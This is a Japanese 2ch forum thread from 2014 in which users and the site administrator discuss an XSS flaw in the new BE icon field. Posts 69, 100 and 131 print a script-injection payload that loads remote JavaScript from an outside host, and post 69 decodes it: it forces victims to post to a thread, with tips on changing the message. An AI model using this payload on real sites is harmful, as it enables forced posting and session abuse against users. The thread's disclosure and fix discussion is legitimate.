1 :
番組の途中ですがアフィサイトへの転載は禁止です:
2 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:45:32.66 ID:c6+OdXRX0
3 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:46:24.79 ID:Yzc2AKHv0
あーほんまや更新したらなんか出た
4 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:48:17.43 ID:a+zfxi0O0
何これ?
5 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:49:31.13 ID:TyQPFBgE0
マジじゃねえか
やばい起動しなくなった
7 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:50:39.07 ID:4NY0aOGO0
continueしても何もおきないんだが、
どこかになんか書き込んじゃってんの?
8 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:51:18.50 ID:ODjo94+B0
マジで?
これはひろゆきちゃんねるに移らないとまずいですよ!
9 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:51:45.25 ID:z34rdIEU0
実行したら逮捕な
新2chに移住したほうが良さそうだな
11 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:52:51.85 ID:4NY0aOGO0
12 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:53:29.93 ID:XshoNcst0
そんで実行されるJavaScriptの内容は?
13 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:53:45.69 ID:TyQPFBgE0
これはやく修正しないと
14 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:54:10.44 ID:dJ8mbaIO0
これはいかん
普通に犯罪予告とか書き込まされてしまうで
16 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:54:48.38 ID:4NY0aOGO0
新BEの登録やアイコン変更時に変なデータ送りつけるとXSSできるのかな
おいおいみんな初歩的なXSSをだな
Codemonkeyが弄った時にhtml無効処理が無くなってんかね
18 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:55:44.89 ID:YH9fEFl00
Firefoxとくに反応なし
19 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:55:45.49 ID:Kltvx9rwi
, -‐-、
_/: : : : : : ヽ、
∧: : ∨//77ァ: ; :;i! ハ从人ノヽ
∧7: : :∨///∧ : ;i! ノリ,,
,.┴ァ;斗、: ∨//;∧: il!,,,,,,,,,,,,,,,,,,,_ K なるほど、掲示板を乗っ取られたと・・・
} くrイノノ;;;: ∧//;∧/j 7 .K しかしかつてあなたはその掲示板とは無関係を主張したそうですね
j / /,/,ィフ////////j 一 ''一- !, f なら今回の件はリスクを負わずにリターンを得ていた天罰でしょう
Y i '" r'7////////,ノ tァ tァx !.\. 結論を言うと権利を譲渡したあとで何を言っても後の祭りですよ
. | }ンー=ニ二ニィ!! { f .!. あなたは責任と一緒に権利まで丸投げしてしまったんです
j / i 、 ´ ,、 /-' 悪いことは言わないので今からでも第二の人生を始めなさい
jく、 k. |ヽ  ̄ ̄ / それでは相談料とコーヒー代でしめて5000万600円になります
∧;、`ヾ≧ , ィ ヽ、_____,/ト、
/∨/7ゝイv'´`¨ニ=ニ7 1`‐-.,___ ,.."};八、_
/ ;厂////::ヽ;////////ヘ 大 ハ////7ァァュ、
/::::j/////:::::::};////////∧ /Y::<ヽ///////////ハ
/::::::{;////:::::::::j;'/////////∧/:::::∨////////////}
ム;、:;///〈::::::::::::レ//////////∧:::::∧//////\////イ
∨ヽ;////∨:::://///////////∧∧//////777'////| ,ィニ=、
∨//////∨ァ'///////////」 ////////////////| /,.气. )
`¨¨´ ̄`´ ∨//////// ,/////////////////| // く/
∨,'//// //////////////////;i,ィミァ"
Y;/// ////////////////// /
20 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:56:54.85 ID:lOMv4Nut0
アラート出た
これ結構やばいじゃん
21 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:57:02.36 ID:Z0iRys8E0
Do you want to continue?と聞いてくるから親切だった
危うく書き込むところだったわ
22 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:57:29.56 ID:ZqPhQ5o10
なんだこりゃ?
23 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:57:33.31 ID:AbyJJAV90
これヤバすぎるだろ
今警察がインターフォン鳴らしているんだが
やべえじゃんこれ
25 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:58:19.82 ID:1TyUz43e0
また(東日本)が何かしたの?
26 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:58:43.56 ID:QuAYkDEX0
おい、今すぐJimに報告しろ
このBEが立ててるスレ一覧誰か出して?
早いところ対策しないと犯罪予告とかやりだす奴が出るぞ
片山事件の再来だ
29 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 19:59:12.85 ID:STw0ox350
スクショよこせ
やばいこれ
悪用すれば冤罪の罪でゆうちゃんと同じ状態になる
32 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:02:57.36 ID:AbyJJAV90
今PCが爆発したんだが
これ書き込み内容変えるにはどこ変えればいい?
sssp://img.2ch.net/ico/
テストしてみる
そりゃ2chのセキュリティなんて15年前から変わってないからな
脆弱性の1つや2つくらいあるだろ
>>33 読み込ませるスクリプトを改変する
でも
>>1を見てそれがわからないなら無理だと思う
37 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:06:56.87 ID:UeDv1LZU0
chromeじゃ動かんけどソースみるとエスケープ処理されてないな
"><h1>さっさと報告しろ</h1>
sssp://img.2ch.net/ico/
アホくさいなこれ
40 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:08:30.94 ID:SOIoIDQe0
どういうこと?
なんも起こらないけど
41 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:07.59 ID:tsaWOedO0
sussiweb.comってなんだよ
42 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:19.75 ID:UeDv1LZU0
43 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:30.07 ID:4NY0aOGO0
サニタイジングもしてないとか、何か前の開発者から変わってないかのようだね
44 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:30.16 ID:77tgnoHQ0
東日本さんほんとにやめてくださいよ!!
45 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:10:43.54 ID:km0Lz+rl0
工作すんな何も起こらないぞ
46 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:11:34.31 ID:6Wl76cGr0 BE:909128238-2BP(1000)
"><h1>beの画像を悪用して回避してるのか?</h1>
あちゃーcodemonkeyやっちゃったね
47 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:12:51.47 ID:D2w9aEY20
悪意のあるスクリプトでやられたらおしまいやん
この程度のものでドヤ顔してたひろゆき陣営・・・
48 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:13:10.68 ID:oFfuKCP/i
スマホが勝手に通信始めとる…
49 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:13:29.12 ID:Idamf/H30
ゆうちゃんがどっかの自治体に仕込んだやつか
よく分かんないけどこれ、
IPアドレスを書き込むように改造して東亜に貼れば、
頭のおかしなコテのIPアドレス割れるんじゃないの?
51 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:15:35.92 ID:98XLIEk10
52 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:15:46.35 ID:77tgnoHQ0
このスレ上げるとブラウザで見てる人が踏んじやう、ってことか
54 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:18.42 ID:XshoNcst0
親切な人が害のないスクリプトで警告してくれたのかな
55 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:30.11 ID:STw0ox350
56 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:44.10 ID:8bCRLKx70
運営が変わってもこのうっかり具合
57 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:56.74 ID:k2eB5+Pl0
58 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:17:58.29 ID:D2w9aEY20
しばらく専ブラ以外で2chやらないほうがいい
アイコン有効にしてないと駄目なのか
60 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:19:29.87 ID:cKQs74Ng0
マジじゃねーか
つかこのロダぁゃιぃファイルばっかだな
よう見つけるわ
62 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:08.27 ID:3sW8BL1C0
親切な人っつーか東日本だろ
63 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:08.66 ID:k2eB5+Pl0
>>57を訂正でBeアイコンの表示部の問題だから、このスレでもありうるのかな。
64 :
C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 20:20:37.97 ID:???0
I will fix this now.
65 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:41.72 ID:TLnG6Yap0 BE:445972832-2BP(3516)
66 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:20:53.88 ID:8b+2nWSd0
有能過ぎwwwww
67 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:21:47.73 ID:cKQs74Ng0
すげえ酉だな
68 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:21:57.33 ID:sz1mDZ3l0
Code猿きたやん早いな
「sssp://img.2ch.net/ico/」ってのはbeのアイコン表示に使われるから絶対読み込むじゃん?
ここにjavascript入れれるじゃん?
「sssp://img.2ch.net/ico/"><script>a=document.createElement("script");a.async=true;a.src="h"+"
ttp://up.sussiweb.com/up/img/1200.js";
b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);</script>」
これで「
ttp://up.sussiweb.com/up/img/1200.js」これ呼び出してるじゃん?
この中身見ると
「window.onload=function(){if(window.confirm('This is xss test. Do you want to continue?')){var a=new XMLHttpRequest,
b="submit=%8F%91%82%AB%8D%9E%82%DE&FROM=&mail=&MESSAGE=%3E%3E1&bbs=poverty&key=1396691926&time=1";a.open("POST","/test/bbs.cgi",!0);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.setRequestHeader("Content-length",b.length);
a.setRequestHeader("Connection","close");a.onreadystatechange=function(){4==a.readyState&&200==a.status&&a.responseText.match(/2ch_X:cookie/)&&
(b="subject=&FROM=&mail=&MESSAGE=%3E%3E1&bbs=poverty&time=1&
key=1396691926&yuki=akari&submit=%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE", a.send(b))};a.send(b)}};」
長いから改行
こうなってるじゃん?
これはアラート表示させて書き込みするスクリプトじゃん?
「key=1396691926」ここはスレのURLの最後の所じゃん?エポック秒っていうんだっけ?ここ変えればスレ変えれるじゃん?
「MESSAGE=%3E%3E1」ここURLデコードすると「
>>1」これじゃん?
つまりmessage=を「%83J%83%89%83R%83%8d」にすればカラコロできるじゃん?
70 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:22:19.55 ID:z34rdIEU0
>>64 CodeMonkeyちゃんBE関連で忙しい中お疲れ様
東日本ってひろゆきの2chに関わってるけどいいのか
72 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:22:46.03 ID:MBr+uHNa0
73 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:03.86 ID:BW5RSxnF0
普通に見れるじゃん
と思ったらもう直されたのか
74 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:15.30 ID:sz1mDZ3l0
75 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:26.16 ID:2acjHzJh0
>>64 なんかよく分からんがとりあえず頑張れfight
76 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:31.23 ID:STw0ox350
>>64 you are greatly working!
77 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:36.49 ID:UeDv1LZU0
78 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:23:45.21 ID:EgvDRs0f0
あぶねーからころに改変される前で助かったか
79 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:00.02 ID:Kltvx9rwi
80 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:20.77 ID:A4GxBssz0
81 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:29.34 ID:jn+bWjbX0
初歩的過ぎるだろ、しっかりしろや運営
82 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:24:51.86 ID:WB14Rrpe0
対応が早すぎてなんか笑っちまうわ
83 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:25:06.14 ID:naQ6VYq+0
動き早いな
旧運営とは雲泥の差だ
つーかこれどうかするとbeのサイトにバックドア仕込めそうだなあ
早い対応でよかった
85 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:25:28.87 ID:BW5RSxnF0
てすと
86 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:25:32.48 ID:3sW8BL1C0
scでカラコロやればよかったんじゃね?
うわつまんね
せっかくjカス利用しようとしたのに
>>64 Thank you for your quick response.
対応早いな
何だよこの迅速さ
うわ、俺やられまくってる・・・
91 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:26:54.64 ID:8OSEglBp0
他にも穴があって
明日以降ひろゆき陣営が攻撃してくるかもな
92 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:27:28.56 ID:3RSVWqaO0
93 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:27:35.82 ID:Y4HsR/M+0
94 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:27:42.58 ID:0DL+Yyol0
コード見たけど、別に犯罪予告とかを書き込まされてるわけではなさそう
XSSって何?
CIAの前身みたいな名前だな。
97 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:29.22 ID:GI6heZYC0
98 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:48.60 ID:77tgnoHQ0
99 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:51.47 ID:STw0ox350
これ絶対scが爆撃準備してたろ
100 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:28:54.99 ID:ODjo94+B0 BE:445972832-2BP(3516)
<script>
a=document.createElement("script");a.async=true;a.src="h"+"
ttp://example.com/GJ-CodeMonkey";b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);
</script>
be止めたかな?
東日本はよくこんなすぐ脆弱性見つけてくるなクラッカーかよ
自分もbeのサイトみた時これなんかに悪用できそうと思ったが
こりゃえらいこっちゃ、駐在さん呼ばな
103 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:31:31.85 ID:HXMym4VJ0
普通のブラウザでBEログインチェックしてたら
スクリプト実行してたw
>>101 XSSなんて基本中の基本だからな
それなりの知識があれば簡単に見つけられる
105 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:31:55.64 ID:sz1mDZ3l0
まあどっかの誰かが親切に無害なもんで教えてくれたからいいんじゃね
BE使うクローンのところは残ってるかもしれんけどね
106 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:32:11.63 ID:3sW8BL1C0
>>101 忍法帖導入のときにも脆弱性見つけてたはず
画像表示とか好き放題やってた
107 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:34:14.95 ID:BW5RSxnF0
XSS対策出来てなかったとか
メモ帳→開く→URL直入力で内容みれる。
if(window.confirm('This is xss test. Do you want to continue?'))
とかって書いてある。
111 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:35:42.48 ID:tsaWOedO0
ステマスレを憎む名誉嫌儲民の仕業
112 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:36:20.16 ID:naQ6VYq+0
>>46 なんかお前のbeを専ブラでクリックしたら「すぐに来る」とだけ表示された
113 :
Code Monkey ★:2014/04/05(土) 20:36:37.31 ID:???0 BE:847328605-2BP(1000)
Hey guys!
Thanks for finding the bugs. That is why this is called a BETA test.
I will fix these immediately.
114 :
Grape Ape ★:2014/04/05(土) 20:38:22.36 ID:???0
That is the Baker Street Irregulars. Always there to help.
115 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:38:26.28 ID:Kltvx9rwi
codemonkeyさん対応早いな。お疲れ様です。
117 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:39:05.03 ID:YH9fEFl00
はぇー
118 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:39:26.67 ID:JoHLSTRg0
119 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:40:09.10 ID:sz1mDZ3l0
code猿からのお言葉(超意訳)
おいおまえら
バグ見つけてくれてサンキューな。ベータテストってこんなもんだ。
また見つかったらすぐ修正すっからよ。よろしくな!
nihongo please
121 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:28.04 ID:Kltvx9rwi
>>114 _,,,,,,,,,,,,,__,,
ィ'", ,,,,....... `' 、
i.F‐'゙ `'ー',. ;
- ‐ - 、 !| `、;
-‐ヘ 、 ' 、 へ へ !
`ヽ、_丶 ' 、丶 { ) / ″ !
彡ミ \ 丶 ' 、 (/ ノ
/ ヾ Y′ ヽ. /!
 ̄/`y'Y´\ヽ―iヾ ノ ノ /` ー ' `メ'
'>-- / `ー‐ ' }ィ' 、-'ヾ'''ヾ`"''','、、 ,
The KENMO are more like ` /-、ノ /|` ソ_" `
ヽ / |__ ; `゛゛ミ;ノリ人ノノヘ/リ
the Baker Street Irregulars. `i、-- '´ |ソ}ミ: {
彡ミ ミ }ミ:{ ⌒` ⌒ /
There are bad guys everywhere. (^ ) (^ ) ヽ |
/ ミ ' 、 ( _ 人 _ ) ノ
l ミ \ /
l ) ミ イ
| / ん ミ 〈:
| ノ丿 ミ
`、 八 L -―- 、
` ^ ヽ、 // \
122 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:30.08 ID:tdrYmMIN0
フヒヒ専ブラなら大丈夫なんでげしょ?><
xssってなんなの?とりあえずキャンセル押せばいいのか?
124 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:37.66 ID:cPxSH0xM0
ポッポー!r⌒\ /
(´ ⌒`)\ /
|| \ _____________/ /ヽ /ヽ
人 ...\ |____________/ / ヽ / ヽ
パソコ (__)ン蛾 \| | !ノートン先生 ! / /U ヽ___/ ヽ
ぶっ壊(__)れたお!.\!!!大激怒!!/ ../ U :::::::::::U:
(`д´#) \!!!!!!/ ..// ___ \ :::::::::::|
_| ̄ ̄||_) \∧∧∧∧/ | | | U ::::::::::
/旦|――||// /| カタカタ < ぶ パ > ...|U | | ::::::U::::|
| ̄ ̄ ̄ ̄ ̄| ̄| . | < っ ソ > | ├―-┤ U.....:::::::::::::::::::/
|_____|三|/ < 壊 コ > .ヽ .....:::::::::::::::::::::::<
────────────< れ ン >─────────────
_---―――――---_\ < た 蛾 > プスプスプス・・・・・∬∬
< _,ノ , 、ヽ、_ ノ ;;< !!! >踏んじゃったよぉ _____
(y○')`ヽ) ( ´(y○') ;;;|/∨∨∨∨\ ∧_∧ ||\ \
⌒ / ヽ⌒ /パソコン蛾ぶっ\ ( ;´Д`) || | ̄ ̄
うわあ |~ ̄ ̄~.| ああ/壊れた!ディスプレ\┌( つ/ ̄||/  ̄ ̄
ああ| |||! i: |||! !| |あ/イ蛾砕け散った!マウス \ヽ |二二二」二二二二二
あぁ| |||| !! !!||| :| ||/蛾チューチュー言いだした! \]_) | |
あ | |!!||l ll|| !!/ソコソ蛾爆発した!家までぶっ壊 \ / |
ぁ | ! || |/れた!WindowsXP蛾WindowsMeになっ\[__」
/た!キーボード蛾外国まで吹っ飛んだ!!\
125 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:41:41.99 ID:BW5RSxnF0
126 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:42:10.99 ID:Ueta0vic0
俺のPCもさっきチラチラ出てて不安になったけどもう対策されたのか
有能だな
128 :
C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 20:42:47.78 ID:???0 BE:847328605-2BP(1000)
Here is what happened:
The programmers in Jim-san's office made the HTML pages for the new
http://be.2ch.net. I thought they had properly sanitized and verified everything. I guess I was wrong.
I have taken the new be.2ch.net beta offline for the moment.
I will fix it and properly sanitize and verify all input.
After I fix it, ill put it back online, then you guys can try to find some new XSS vulnerabilities.
Thanks!
129 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:43:59.56 ID:3Tn/T9sw0
>>114 lol, Are you Sherlockian?
131 :
C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 20:44:08.38 ID:???0 BE:847328605-2BP(1000)
Only one person was able to take advantage of the XSS vulnerability before I took the site offline.
This is the script they used:
<script>a=document.createElement("script");a.async=true;a.src="h"+"
ttp://up.sussiweb.com/up/img/1200.js";
b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);</script>
132 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:44:56.34 ID:tsaWOedO0
>>123 セブンのステマが気に食わないならok
セブン好きならcancel
133 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:48:19.84 ID:sz1mDZ3l0
134 :
Grape Ape ★:2014/04/05(土) 20:49:02.42 ID:???0
>>130 From reading the news, people would think I am more like Moriarty.
However I enjoy the new Sherlock Holmes TV show on BBC.
135 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:49:16.18 ID:Kltvx9rwi
>>131 I think the man who did it is JEX or SassyH.
136 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:49:24.17 ID:8O15wgLf0 BE:445972832-2BP(3516)
WINDOS98のIE6でもXSSのダイアログが出たからいいえにしといた
138 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:50:14.33 ID:9PhxzHGb0
この早さ信頼出来る
139 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:50:24.73 ID:FkX1JeKj0
140 :
金太丸の助:2014/04/05(土) 20:50:42.87 ID:70FwjKvd0
ter
旧運営との対応の差wwwwwwwwwwwwwwwwwwww
有能
142 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:51:30.41 ID:wlCGcAwh0
ええな
>>65のスレには
まだレス増えてるけど いいの?
144 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:51:38.76 ID:8OYI2R7I0
旧BEにログインにしたまま使ってたauのガラケーで書こうとすると
ERROR:Beユーザー情報エラー。ログインしなおしてください(e)。
be2ch.net
って出て書けなくなった
誰かこれをコードモンキーに英語で伝えてくれ…
145 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:52:06.64 ID:ZuVfxpsC0
だれか訳してくれよ
高卒にも優しくしてくれ
146 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:53:05.12 ID:AvbqrkTg0
普通にContinueしちまったぜ…
147 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:01.00 ID:p62BLYmG0
>>64 thank you
we love you
今はまだXSSの脆弱性潰してるだけだから
>>1のスクリプトは対策されてないぞ
まあdat落ちしたらほぼ意味ないし対策しないのかもしれんが
149 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:38.98 ID:sz1mDZ3l0
>>134 SHERLOCK! I also saw. It was very interesting. I like Professor James Moriarty(Andrew Scott)
150 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:45.04 ID:E4/c8Md10
151 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:57.50 ID:o5OE1RJU0
アメリカ人て働き者なんだなー
152 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:54:59.41 ID:Y4HsR/M+0
153 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:55:39.28 ID:6oWRZbjs0
なんか踏んだらどこかのスレに書き込んじゃうっての数年前になかったっけ
名前欄にIP書き込まれてか
154 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:56:12.85 ID:afuX3GD70
155 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:56:22.71 ID:PTVbFi+00
SEXの脆弱性っていい加減にしろヤリチン野郎
156 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 20:58:03.82 ID:55/rptDa0
クロスサイトスクリプティングだっけ
>>134 You are pleasant Moriarty.
thx a lot :)
158 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:00:59.93 ID:afuX3GD70
159 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:01:02.55 ID:cE0T7uyv0
住人も日に日にグローバルになっていくな
鎖国時代の2ちゃんとはなんだったのか
160 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:01:04.67 ID:Kltvx9rwi
161 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:01:26.54 ID:PNleSCgA0
162 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:05:21.02 ID:9mLvscv/0
30分くらいで修正か
163 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:07:29.57 ID:gTHf/52u0
マジかよ
ひろゆきー助けてくれー
164 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:11:36.32 ID:RRlU4ak00
JimさんとかCodeMonkeyさんとかはトリップの仕組みというか逆引きみたいなのできるの?
165 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:13:12.42 ID:8b+2nWSd0
166 :
金太丸の助:2014/04/05(土) 21:13:49.26 ID:70FwjKvd0
167 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:15:12.66 ID:abUixHTH0
対応早すぎ
169 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:16:49.08 ID:0fPXYbwZ0
なんかJIMさんの自作自演くさくない?
あまりにも対応がはやすぎるだろこれ・・・
いやまだ修正中だけど
>>169 まず、ジムとコードモンキーが別人だって知ってるか?
172 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:19:51.34 ID:0fPXYbwZ0
>>171 別人っていう証明できるの?
忍とジェンヌみたいな関係じゃないの?
173 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:20:14.34 ID:GtmxlXO50
たらこ追放の恩恵はデカイ!!
174 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:20:31.97 ID:55/rptDa0
一覧TOPだとサニタイズされないのか
177 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:27:12.79 ID:QdrPZdy50
beの画像のidって変更できるの?
178 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:34:10.15 ID:z+MUwFZ00
とりあえずbeアイコンの部分にスクリプト仕込めるバグがあったのはわかったんだけど
online/offlineって何のこと?
あとこのスレ立てたの誰?
179 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:40:05.37 ID:M0H0Vdoz0
旧運営だったらまだ対応してないな
対応するかも怪しい
180 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:40:25.19 ID:STw0ox350
181 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:41:09.49 ID:jp+JsMwf0
>>64 素晴らしい
ミスは誰にでもあるけど、早い対応は誰でも出来る訳じゃない
182 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:44:49.38 ID:QdrPZdy50
だからどうやってスクリプト埋め込んだの?
アイコンのIDみたいな値って変更できるの?
183 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:45:37.90 ID:B+2b8ag10
>>180 さっしーえっちの時もだっけ?
忍者がおるんかな
184 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:46:54.14 ID:Vb8OVALG0
185 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:47:55.11 ID:2LEV/gn+0
>>183 さっしーはともかく
こういう無料デバッガーやるのは東日本かモペキチ
186 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:48:55.18 ID:STw0ox350
モペキチとか懐かしいな
188 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:51:25.22 ID:2LEV/gn+0
>>186 脆弱性スレはいつもまず嫌儲に立つでしょ
189 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:51:52.19 ID:Vb8OVALG0
スクリプト発動しないじゃん
190 :
番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:53:19.59 ID:Y4HsR/M+0
パズルを解くようだな
やっべえええええええええええええええええええええええ
192 :
